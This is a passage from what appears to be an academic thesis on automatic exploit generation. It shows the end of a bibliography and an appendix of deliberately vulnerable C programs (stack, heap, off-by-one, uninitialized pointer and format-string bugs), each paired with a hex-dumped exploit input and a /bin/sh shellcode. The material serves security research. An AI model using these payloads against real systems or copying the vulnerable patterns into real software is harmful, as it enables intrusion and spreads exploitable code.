USA, October 2010, pp. 413–425.

[25] L. Ciortea, C. Zamfir, S. Bucur, V. Chipounov, and G. Candea, “Cloud9: a software testing
service,” Operating Systems Review, vol. 43, no. 4, pp. 5–10, 2009.

[26] S. Bucur, V. Ureche, C. Zamfir, and G. Candea, “Parallel symbolic execution for auto-
mated real-world software testing,” in Proceedings of the sixth conference on Computer
systems (EuroSys ’11), Salzburg, Austria, April 2011, pp. 183–198.

[27] D. Brumley, P. Poosankam, D. X. Song, and J. Zheng, “Automatic Patch-Based Exploit
Generation is Possible: Techniques and Implications,” in Proceedings of the 2008 IEEE
Symposium on Security and Privacy (S&P 2008), Oakland, California, USA, May 2008,
pp. 143–157.

[28] T. Avgerinos, S. K. Cha, B. L. T. Hao, and D. Brumley, “AEG: Automatic Exploit
Generation,” in Proceedings of the Network and Distributed System Security Symposium
(NDSS’11), San Diego, California, USA, February 2011.

[29] E. J. Schwartz, T. Avgerinos, and D. Brumley, “Q: Exploit Hardening Made Easy,” in
Proceedings of the 20th USENIX Security Symposium (USENIX’11), San Francisco, CA,
USA, August 2011.

[30] S. Heelan and D. Kroening, “Automatic Generation of Control Flow Hijacking Exploits
for Software Vulnerabilities,” MSc Computer Science Dissertation, University of Oxford,
UK, 2009.

[31] C. Miller, J. Caballero, N. M. Johnson, M. G. Kang, S. McCamant, P. Poosankam, and
D. Song, “Crash Analysis using BitBlaze,” in Proceedings of the Black Hat USA 2010,
Las Vegas, US, July 2010.

[32] V. Chipounov, V. Kuznetsov, and G. Candea, “S2E: a platform for in-vivo multi-path anal-
ysis of software systems,” in Proceedings of the 16th International Conference on Ar-
chitectural Support for Programming Languages and Operating Systems (ASPLOS’11),
Newport Beach, CA, USA, March 2011, pp. 265–278.

[33] F. Bellard, “QEMU, a fast and portable dynamic translator,” in Proceedings of the
FREENIX Track: 2005 USENIX Annual Technical Conference, Anaheim, CA, USA, April
2005, pp. 41–46.

[34] V. Chipounov and G. Candea, “Dynamically Translating x86 to LLVM using QEMU,”
School of Computer and Communication Sciences, École Polytechnique Fédérale de Lau-
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Appendix A

Sample Code and Exploits

A.1 Shellcode

Listing 10: The used shellcode

1 00000000 31 c0 89 c2 50 68 6 e 2 f 73 68 68 2 f 2 f 62 69 89 | 1 . . . Phn / shh / / b i . |
2 00000010 e3 89 c1 b0 0b 52 51 53 89 e1 cd 80 | . . . . . RQS . . . . |
3 0000001 c

A.2 Stack Buffer Overflow Vulnerability

Listing 11: A sample code for stack buffer overflow vulnerability

1 # i n c l u d e < s t d i o . h>
2 # i n c l u d e < s t r i n g . h>
3
4 void a ( char ∗ a rgv )
5 {
6 char buf [ 5 0 ] ;
7
8 s t r c p y ( buf , a rgv ) ;
9 }

10
11 i n t main ( i n t argc , char ∗∗ a rgv )
12 {
13 i f ( a r g c > 1)
14 a ( a rgv [ 1 ] ) ;
15
16 re turn 0 ;
17 }
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Listing 12: A return-to-stack exploit for Listing 11

1 00000000 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 | . . . . . . . . . . . . . . . . |
2 00000010 90 90 90 90 90 90 31 c0 89 c2 50 68 6 e 2 f 73 68 | . . . . . . 1 . . . Phn / sh |
3 00000020 68 2 f 2 f 62 69 89 e3 89 c1 b0 0b 52 51 53 89 e1 | h / / b i . . . . . . RQS . . |
4 00000030 cd 80 8 f f a f f b f 9 a f a f f b f 01 01 01 01 01 01 | . . . . . . . . . . . . . . . . |
5 00000040 01 01 01 01 01 01 01 01 02 01 01 01 01 01 01 01 | . . . . . . . . . . . . . . . . |
6 00000050 01 01 01 01 01 01 01 01 01 01 01 02 01 01 01 01 | . . . . . . . . . . . . . . . . |
7 00000060 01 01 01 02 | . . . . |
8 00000064

Listing 13: A return-to-libc exploit for Listing 11

1 00000000 88 02 01 01 02 01 01 04 01 01 01 01 01 01 01 01 | . . . . . . . . . . . . . . . . |
2 00000010 01 01 01 01 01 01 01 01 01 01 02 01 01 01 01 01 | . . . . . . . . . . . . . . . . |
3 00000020 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 | . . . . . . . . . . . . . . . . |
4 00000030 01 01 8 f f a f f b f a0 b7 eb b7 01 01 01 01 df f a | . . . . . . . . . . . . . . . . |
5 00000040 f f b f 20 20 20 20 20 20 20 20 20 20 20 20 20 20 | . . |
6 00000050 20 20 20 20 20 20 20 20 20 20 20 20 20 2 f 62 69 | / b i |
7 00000060 6 e 2 f 73 68 | n / sh |
8 00000064

Listing 14: A jump-to-register exploit for Listing 11

1 00000000 31 c0 89 c2 50 68 6 e 2 f 73 68 68 2 f 2 f 62 69 89 | 1 . . . Phn / shh / / b i . |
2 00000010 e3 89 c1 b0 0b 52 51 53 89 e1 cd 80 02 02 01 01 | . . . . . RQS . . . . . . . . |
3 00000020 01 01 02 01 01 02 01 01 01 01 01 01 01 01 01 01 | . . . . . . . . . . . . . . . . |
4 00000030 01 01 8 f f a f f b f 9 f 83 04 08 01 01 01 01 02 01 | . . . . . . . . . . . . . . . . |
5 00000040 01 01 01 01 01 01 01 01 01 02 01 01 01 01 01 01 | . . . . . . . . . . . . . . . . |
6 00000050 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 | . . . . . . . . . . . . . . . . |
7 ∗
8 00000060
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A.3 Heap Buffer Overflow Vulnerability

Listing 15: A sample code for heap buffer overflow vulnerability

1 # i n c l u d e < s t d l i b . h>
2 # i n c l u d e < s t r i n g . h>
3
4 void a ( char ∗ a rgv )
5 {
6 char ∗ f i r s t , ∗ second ;
7
8 f i r s t = ma l l oc ( 8 0 ) ;
9 second = ma l l oc ( 8 0 ) ;

10 s t r c p y ( f i r s t , a rgv ) ;
11 f r e e ( f i r s t ) ;
12 f r e e ( second ) ;
13 }
14
15 i n t main ( i n t argc , char ∗∗ a rgv )
16 {
17 i f ( a r g c > 1)
18 a ( a rgv [ 1 ] ) ;
19
20 re turn ( 0 ) ;
21 }

Listing 16: An exploit for Listing 15

1 00000000 88 01 01 02 01 01 01 01 01 01 01 01 01 01 01 01 | . . . . . . . . . . . . . . . . |
2 00000010 01 01 04 01 01 01 01 02 01 01 01 01 01 01 02 01 | . . . . . . . . . . . . . . . . |
3 00000020 01 01 01 01 01 01 02 01 01 01 01 eb 0 a 90 90 90 | . . . . . . . . . . . . . . . . |
4 00000030 90 90 90 90 90 90 90 31 c0 89 c2 50 68 6 e 2 f 73 | . . . . . . . 1 . . . Phn / s |
5 00000040 68 68 2 f 2 f 62 69 89 e3 89 c1 b0 0b 52 51 53 89 | hh / / b i . . . . . . RQS . |
6 00000050 e1 cd 80 02 f c f f f f f f a4 f a f f b f 92 f c f f b f | . . . . . . . . . . . . . . . . |
7 00000060 01 01 01 40 | . . .@|
8 00000064
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A.4 Off-by-one Buffer Overflow Vulnerability

Listing 17: A sample code for off-by-one buffer overflow vulnerability

1 # i n c l u d e < s t d i o . h>
2 # i n c l u d e < s t r i n g . h>
3
4 void b ( i n t ∗ t e x t , i n t i )
5 {
6 i n t temp [ 2 0 ] ;
7
8 f o r ( ; i <= 20 ; i ++)
9 temp [ i ] = ∗ ( t e x t + i ) ;

10 }
11
12 void a ( i n t ∗ argv , i n t i )
13 {
14 b ( argv , i ) ;
15 }
16
17 i n t main ( i n t argc , char ∗∗ a rgv )
18 {
19 i n t t e x t [ 2 5 ] ;
20
21 i f ( a r g c > 1)
22 memcpy ( t e x t , a rgv [ 1 ] , 1 0 0 ) ;
23
24 a ( t e x t , 0 ) ;
25
26 re turn 0 ;
27 }

Listing 18: An exploit for Listing 17

1 00000000 8 f f a f f b f ad f a f f b f 90 90 90 90 90 90 90 90 | . . . . . . . . . . . . . . . . |
2 00000010 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 | . . . . . . . . . . . . . . . . |
3 ∗
4 00000030 90 90 90 90 31 c0 89 c2 50 68 6 e 2 f 73 68 68 2 f | . . . . 1 . . . Phn / shh / |
5 00000040 2 f 62 69 89 e3 89 c1 b0 0b 52 51 53 89 e1 cd 80 | / b i . . . . . . RQS . . . . |
6 00000050 8 f f a f f b f 01 01 01 02 01 01 01 01 40 01 80 04 | . . . . . . . . . . . . @. . . |
7 00000060 08 04 04 40 | . . .@|
8 00000064
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A.5 Uninitialized Variable Vulnerability

Listing 19: A sample code for uninitialized variables vulnerability

1 # i n c l u d e < s t d i o . h>
2 # i n c l u d e < s t r i n g . h>
3
4 void b ( )
5 {
6 void (∗ p t r ) ( void ) ;
7
8 i f ( p t r != NULL)
9 p t r ( ) ;

10 }
11
12 void a ( char ∗ a rgv )
13 {
14 char t e x t [ 1 0 0 ] ;
15
16 s t r n c p y ( t e x t , argv , 1 0 0 ) ;
17 }
18
19 i n t main ( i n t argc , char ∗∗ a rgv )
20 {
21 i f ( a r g c > 1)
22 a ( a rgv [ 1 ] ) ;
23
24 b ( ) ;
25
26 re turn 0 ;
27 }

Listing 20: An exploit for Listing 19

1 00000000 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 | . . . . . . . . . . . . . . . . |
2 ∗
3 00000040 90 90 90 90 31 c0 89 c2 50 68 6 e 2 f 73 68 68 2 f | . . . . 1 . . . Phn / shh / |
4 00000050 2 f 62 69 89 e3 89 c1 b0 0b 52 51 53 89 e1 cd 80 | / b i . . . . . . RQS . . . . |
5 00000060 b1 f a f f b f | . . . . |
6 00000064
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A.6 Format String Vulnerability

Listing 21: A sample code for format string vulnerability

1 # i n c l u d e < s t d i o . h>
2
3 void a ( char ∗ a rgv )
4 {
5 char fmt [ 1 0 0 ] ;
6
7 s n p r i n t f ( fmt , s i z e o f ( fmt ) , a rgv ) ;
8 p r i n t f ( ”%s ” , fmt ) ;
9 }

10
11 i n t main ( i n t argc , char ∗∗ a rgv )
12 {
13 i f ( a r g c > 1)
14 a ( a rgv [ 1 ] ) ;
15
16 re turn 0 ;
17 }

Listing 22: An exploit for Listing 21

1 00000000 14 96 04 08 15 96 04 08 16 96 04 08 17 96 04 08 | . . . . . . . . . . . . . . . . |
2 00000010 25 34 34 36 78 25 37 24 6 e 25 33 30 30 78 25 38 |%446x%7$n%300x%8|
3 00000020 24 6 e 25 32 36 31 78 25 39 24 6 e 25 31 39 32 78 | $n%261x%9$n%192x |
4 00000030 25 31 30 24 6 e 90 90 90 90 90 90 90 90 90 90 90 |%10$n . . . . . . . . . . . |
5 00000040 90 90 90 90 90 90 90 90 31 c0 89 c2 50 68 6 e 2 f | . . . . . . . . 1 . . . Phn / |
6 00000050 73 68 68 2 f 2 f 62 69 89 e3 89 c1 b0 0b 52 51 53 | shh / / b i . . . . . . RQS |
7 00000060 89 e1 cd 80 | . . . . |
8 00000064
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